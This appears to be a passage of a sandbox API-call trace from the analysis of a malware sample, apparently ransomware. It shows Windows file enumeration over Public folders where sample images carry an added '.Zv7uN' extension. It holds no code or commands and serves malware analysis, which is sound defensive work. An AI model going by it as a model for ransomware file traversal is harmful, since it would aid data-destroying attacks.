[0125.471] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5f2451e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xbde6b, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Penguins.jpg.Zv7uN", cAlternateFileName="")) returned 1 [0125.472] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.472] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.472] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5f39be40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Tulips.jpg.Zv7uN", cAlternateFileName="")) returned 1 [0125.472] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.472] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.472] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5f39be40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Tulips.jpg.Zv7uN", cAlternateFileName="")) returned 0 [0125.472] GetLastError () returned 0x12 [0125.472] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0125.472] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5f39be40, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5f39be40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0125.472] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0125.472] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.473] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5f39be40, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5f39be40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.473] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.473] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.473] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5e2cc2e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xd6b22, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Chrysanthemum.jpg.Zv7uN", cAlternateFileName="CHRYSA~1.ZV7")) returned 1 [0125.473] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.473] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.473] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5e579ba0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xce875, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Desert.jpg.Zv7uN", cAlternateFileName="")) returned 1 [0125.473] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.473] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.473] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.473] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5e6d0800, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x91554, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Hydrangeas.jpg.Zv7uN", cAlternateFileName="HYDRAN~1.ZV7")) returned 1 [0125.473] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.473] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.473] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5e931e00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xbd616, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Jellyfish.jpg.Zv7uN", cAlternateFileName="JELLYF~1.ZV7")) returned 1 [0125.473] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.473] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.474] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5ec9dda0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xbea1f, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Koala.jpg.Zv7uN", cAlternateFileName="")) returned 1 [0125.474] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.474] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.474] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5eeff3a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x8907c, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Lighthouse.jpg.Zv7uN", cAlternateFileName="LIGHTH~1.ZV7")) returned 1 [0125.474] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.474] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.474] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5f2451e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xbde6b, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Penguins.jpg.Zv7uN", cAlternateFileName="")) returned 1 [0125.474] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.474] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.474] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5f39be40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Tulips.jpg.Zv7uN", cAlternateFileName="")) returned 1 [0125.474] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.474] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.474] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5f39be40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Tulips.jpg.Zv7uN", cAlternateFileName="")) returned 0 [0125.474] GetLastError () returned 0x12 [0125.474] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0125.475] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5f39be40, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5f39be40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 0 [0125.475] GetLastError () returned 0x12 [0125.475] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0125.475] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recorded TV", cAlternateFileName="RECORD~1")) returned 1 [0125.475] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0125.475] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0125.475] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0125.476] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0125.476] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x89e5e11e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x89e5e11e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.476] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0125.476] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.476] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="Sample Media", cAlternateFileName="SAMPLE~1")) returned 1 [0125.476] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="Sample Media", cAlternateFileName="SAMPLE~1")) returned 0 [0125.476] GetLastError () returned 0x12 [0125.476] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0125.476] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0125.477] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0125.477] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.477] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0125.477] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.477] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.477] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x89e5e11e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x89e5e11e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.477] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="Sample Media", cAlternateFileName="SAMPLE~1")) returned 1 [0125.477] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.477] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.477] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0125.478] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.478] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xab, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.478] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0125.478] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.478] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="win7_scenic-demoshort_raw.wtv", cAlternateFileName="WIN7_S~1.WTV")) returned 1 [0125.478] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.478] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.478] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="win7_scenic-demoshort_raw.wtv", cAlternateFileName="WIN7_S~1.WTV")) returned 0 [0125.478] GetLastError () returned 0x12 [0125.478] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0125.478] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0125.478] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0125.479] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.479] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.479] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.479] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.479] FindNextFileW (in: 